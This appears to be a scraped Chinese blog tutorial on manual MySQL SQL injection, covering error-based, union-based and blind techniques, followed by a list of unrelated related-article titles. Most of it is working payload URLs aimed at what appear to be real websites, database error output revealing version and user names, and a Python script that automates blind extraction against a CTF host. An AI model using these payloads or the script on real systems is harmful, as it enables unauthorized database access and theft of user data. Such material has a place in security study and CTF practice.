mysql:

报错注入:

以http://www.hexie.com/main/articleDetail.php?id=757

为例子:

http://www.hexie.com/main/articleDetail.php?id=757'

报错

方法一:(1)http://www.hexie.com/main/articleDetail.php

?id=757' and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a) %23

能爆出版本号:5.5.20

报错信息:MySQL Query Error:select * from knowledge where id='757' and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a) #':Duplicate entry '5.5.201' for key 'group_key'

(2)替换掉加红加粗的version之后,我们可以查到更多的东西

www.hexie.com/main/articleDetail.php?id=757' and (select 1 from (select count(*),concat((select User from mysql.user limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x )a) %23

查出用户名:phmisdbuser

报错信息:MySQL Query Error:select * from knowledge where id='757' and (select 1 from (select count(*),concat((select User from mysql.user limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x )a) #':Duplicate entry 'phmisdbuser1' for key 'group_key'

方法二:

(1)www.hexie.com/main/articleDetail.php?id=757' and extractvalue(1, concat(0x5c,version())) %23

能爆出版本号:5.5.20

报错信息:MySQL Query Error:select * from knowledge where id='757' and extractvalue(1, concat(0x5c,version())) #':XPATH syntax error: '\5.5.20'

(2)www.hexie.com/main/articleDetail.php?id=757' and extractvalue(1, concat(0x5c,(select User from mysql.user limit 1,1))) %23

查出用户名:phmisdbuser

报错信息:MySQL Query Error:select * from knowledge where id='757' and extractvalue(1, concat(0x5c,((select User from mysql.user limit 1,1)))) #':XPATH syntax error: '\phmisdbuser'

方法三:

(1)www.hexie.com/main/articleDetail.php?id=757' and 1=(updatexml(1,concat(0x5e24,(select version()),0x5e24),1)) %23

能爆出版本号:5.5.20

报错信息:MySQL Query Error:select * from knowledge where id='757' and 1=(updatexml(1,concat(0x5e24,(select version()),0x5e24),1)) #':XPATH syntax error: '^$5.5.20^$'

(2)www.hexie.com/main/articleDetail.php?id=757' and 1=(updatexml(1,concat(0x5e24,(select User from mysql.user limit 1,1),0x5e24),1)) %23

查出用户名:phmisdbuser

报错信息:MySQL Query Error:select * from knowledge where id='757' and 1=(updatexml(1,concat(0x5e24,(select User from mysql.user limit 1,1),0x5e24),1)) #':XPATH syntax error: '^$phmisdbuser^$'

【1】mysql常见的查询信息的语句

【2】user():当前用户信息

【3】select database() :当前数据库

【4】SELECT SCHEMA_NAME FROM information_schema.SCHEMATA limit 1,1:查询所有数据库

【5】一个一个遍历查询所有表:select table_name from information_schema.tables where table_schema='数据库名' limit 1,1

【6】一个一个遍历查询一个表的字段:select COLUMN_NAME from Information_schema.columns where table_Name = '表名' and TABLE_SCHEMA='数据库名' limit 1,1

【7】一个一个遍历数据:select 字段名 from 数据库名.表名 limit 1,1(Ps:一次只能遍历一个字段的一个数据)

【8】查询host 信息:select Host from mysql.user limit 1,1

union 注入:

举例子:http://www.hunyinshe.com/list.php?id=1

【1】首先,推测出这个表里面有多少字段:

http://www.hunyinshe.com/list.php?id=1 order by 1 – (返回正常页面)

http://www.hunyinshe.com/list.php?id=1 order by 2 –

(返回正常页面)

………………

http://www.hunyinshe.com/list.php?id=1 order by 32 –

(返回正常页面)

http://www.hunyinshe.com/list.php?id=1 order by 32–

(返回不正常页面)

这样推断出这个表里面有32个字段

【2】猜当前数据库名字:

http://www.hunyinshe.com/list.php?id=1 and 1=2 union select 1,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,2,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31 --

【3】猜所有数据库:

http://www.hunyinshe.com/list.php?id=1 and 1=2 union select 1,SCHEMA_NAME,3,4,5,6,7,8,9,10,11,12,13,14,15,2,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31 from information_schema.SCHEMATA --

【4】猜所有的表名:

http://www.hunyinshe.com/list.php?id=1 and 1=2 union select 1,table_name,3,4,5,6,7,8,9,10,11,12,13,14,15,2,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31 from information_schema.tables --

【5】查数据库名为:mysql的所有表名:

http://www.hunyinshe.com/list.php?id=1 and 1=2 union select 1,table_name,3,4,5,6,7,8,9,10,11,12,13,14,15,2,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31 from information_schema.tables where table_schema= 0x6d7973716c--

(Ps:其中 0x6d7973716c是”mysql”的HEX编码)

【6】查数据库名为:xjdj的所有表名:

http://www.hunyinshe.com/list.php?id=1 and 1=2 union select 1,table_name,3,4,5,6,7,8,9,10,11,12,13,14,15,2,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31 from information_schema.tables where table_schema= 0x786a646a--

【7】查数据库为xjdj的cmsdj_user的字段名:

http://www.hunyinshe.com/list.php?id=1 and 1=2 union select 1,COLUMN_NAME,3,4,5,6,7,8,9,10,11,12,13,14,15,2,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31 from Information_schema.columns where table_Name = 0x636d73646a5f75736572 and TABLE_SCHEMA=0x786a646a--

【8】查数据库为xjdj的cmsdj_user的字段名cd_name的数据:

http://www.hunyinshe.com/list.php?id=1 and 1=2 union select 1,字段名,3,4,5,6,7,8,9,10,11,12,13,14,15,2,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31 from 数据库名.表名 limit 1,100 --

(Ps:前100条数据)

盲注:

我们以

http://ctf1.simplexue.com/basic/inject/index.php?admin=admin&pass=f&action=login

为例子

【1】爆数据库的版本:

http://ctf1.simplexue.com/basic/inject/index.php?admin=admin' and (ascii(substring(version(),1,1))>0) #&pass=f&action=login

显示用户名错误

http://ctf1.simplexue.com/basic/inject/index.php?admin=admin' and (ascii(substring(version(),1,1))<0) #&pass=f&action=login

显示数据库连接失败

我写了一个小程序来加快速度

# -*- coding: gbk -*-

import urllib2

import urllib

sqlcomm="(SELECT SCHEMA_NAME FROM information_schema.SCHEMATA limit 1,1)"

data = {

"admin":"admin' and (ascii(substring(version(),1,1))=0) #",

"pass":"f",

"action":"login"}

def getlength():

for counti in range(1000):

data["admin"]="admin' and length(%s)=%s #&pass=f&action=login" % (sqlcomm,str(counti))

urldata=urllib.urlencode(data)

url="http://ctf1.simplexue.com/basic/inject/index.php?"+urldata

headers={"User-Agent":"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1"}

req = urllib2.Request(url,headers=headers)

resul=urllib2.urlopen(req).read()

resulstr=resul.decode('gbk')

if resulstr.find(u'数据库连接失败')==-1: #查找中文

print counti

return counti

return False

def sendhttp(countn,sign,num):

data["admin"]="admin' and (ascii(substring(%s,%s,1))%s%s) #" % (sqlcomm,str(countn),sign,str(middle))

urldata=urllib.urlencode(data)

url="http://ctf1.simplexue.com/basic/inject/index.php?"+urldata

headers={"User-Agent":"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1"}

req = urllib2.Request(url,headers=headers)

resul=urllib2.urlopen(req).read()

resulstr=resul.decode('gbk')

if resulstr.find(u'数据库连接失败')==-1:

return True

return False

coutnum= getlength()

for j in range(1,coutnum+1):

min,max=0,140

while min<=max:

middle=(max+min)//2

if sendhttp(j,"=",middle):

print chr(middle),

break

if sendhttp(j,">",middle):

min=middle+1

else:

max=middle-1

大家只要把红色的sqlcomm的这个变量就行修改就可以得到想要的数据

Ps:科普一些mysql函数的用法

substring(str,start,length):截取字符串,str是要截取的字串,start 是从哪个地方截取,length是截取的长度

ascii(str):把字符转换成ascii码,str是要转换的字符

length(str):获取字符串的长度,要获取的字串

常用的东西查询语句有见文章上面:mysql常见的查询信息的语句

sql mysql 手注_mysql注入漏洞手注相关推荐

  1. 墨者学院—SQL过滤字符后手工注入漏洞测试

    靶场地址: SQL过滤字符后手工注入漏洞测试(第1题)_SQL注入_在线靶场_墨者学院_专注于网络安全人才培养 关于CTFHUB中的sql注入以及文件上传知识点我们已经学习过一遍了,如果大家都掌握的话 ...

  2. mysql盲注_Mysql 布尔型盲注手工注入详解

    0x00 什么叫布尔型盲注 布尔型 布尔(Boolean)型是计算机里的一种数据类型,只有True(真)和False(假)两个值.一般也称为逻辑型. 盲注 在注入时页面无具体数据返回的注入称之为盲注, ...

  3. mysql 堆叠查询_SQL 注入方法 - 盲注、报错注入、UNION查询注入与堆叠注入

    盲注 关键点是 根据页面返回内容分析 Payload 中的问题是否为真,然后通过多次测试遍历出想要的数据 布尔盲注 目标地址:http://newspaper.com/items.php?id=2 对 ...

  4. mysql 盲注_mysql简略手工盲注技能

    mysql简略手工盲注技能 申明:固然网上对于mysql手工盲注的材料良多 然而大多都是大篇幅 语句极其庞杂 学习盲注前先懂得下 IFORMATION_SCHEMA 库 Mysql5内置的系统数据库I ...

  5. mysql 去除逗号_mysql注入之过滤逗号

    1.联合查询 无逗号语句:http://127.0.0.1/sqli-labs-master/Less-2/?id=-2 union select * from ( (select user())a ...

  6. SQL过滤字符后手工注入漏洞测试(第1题)

    https://www.mozhe.cn/bug/detail/a1diUUZsa3ByMkgrZnpjcWZOYVEyUT09bW96aGUmozhe 分析题目,属于时间盲注,这种情况,通常使用sq ...

  7. 凤凰网php,凤凰网某应用sql注入漏洞_MySQL

    凤凰网某应用sql注入漏洞 凤凰新闻手机app的一个api接口过滤不严,存在注入漏洞. 注入点:http://api.iapps.ifeng.com/news/upgrade.json?gv=4.2. ...

  8. Python-编写一个mysql注入漏洞检测工具

    判断mysql网站是否存在注入漏洞的几个方法: 注入点后加上一个单引号会报错 and 1=1返回正常页面,and 1=2返回的页面不同于正常页面 and sleep(3) 网页会等待3秒左右 根据返回 ...

  9. iwebsec靶场 SQL注入漏洞通关笔记4- sleep注入(时间型盲注)

    系列文章目录 iwebsec靶场 SQL注入漏洞通关笔记1- 数字型注入_mooyuan的博客-CSDN博客 iwebsec靶场 SQL注入漏洞通关笔记2- 字符型注入(宽字节注入)_mooyuan的 ...

最新文章

  1. 职称计算机word2007难吗,职称计算机word2007原题
  2. hdu(1069)——Monkey and Banana(LIS变形)
  3. 团队项目技术规格说明书---客户端
  4. 【渝粤题库】国家开放大学2021春2585城市轨道交通概论答案
  5. [转]NGINX-检测客户端是通过电脑还是移动设备访问的,将请求重定向到适配的WEB站点...
  6. mysql的实现类注解_Mybaits (XML方式:无需在写Dao的实现类 注解方式:Dao的实现类与Mapper都可以不写 重点理解)...
  7. xamarin android上传图片到服务器,从图片库中选取照片
  8. oracle导数据不释放内存,关于ORACLE数据库delete后释放空间问题
  9. lisp xy轴不等比缩放_解决高缩放等级下的抖动问题
  10. 9.GitLab 汉化
  11. 气是能量的宏观运行的现象描述
  12. 剑指offer、二叉搜索树的第K个结点(python)
  13. QueryDSL介绍
  14. 罗伊 我的火箭我的处 (原创)
  15. VMware Tools安装
  16. PacketTracer简单使用】
  17. CSS3 经典教程系列:CSS3 线性渐变(linear-gradient)
  18. Flutter 环境配置
  19. 《论文阅读》Knowledge-Enriched Transformer for Emotion Detection in Textual Conversations
  20. mac可用的vpb_有什么让你相见恨晚的 MacBook 神器?

热门文章

  1. 区分原生IP和广播IP
  2. 拆红包动态效果html5,用React加CSS3实现微信拆红包动画效果
  3. android 四大组件之activity总结
  4. 监狱犯人室内定位与人员定位解决方案,监狱室内全方位定位-新导智能
  5. nn.functional.interpolate
  6. Infineon HSW High-Side Switches
  7. 基于CRNN的中文车牌识别
  8. July 14th 模拟赛C T3 灌水 Solution
  9. Elasticsearch 集群部署
  10. 工业RFID应用(一):低频RFID应用在工业的优势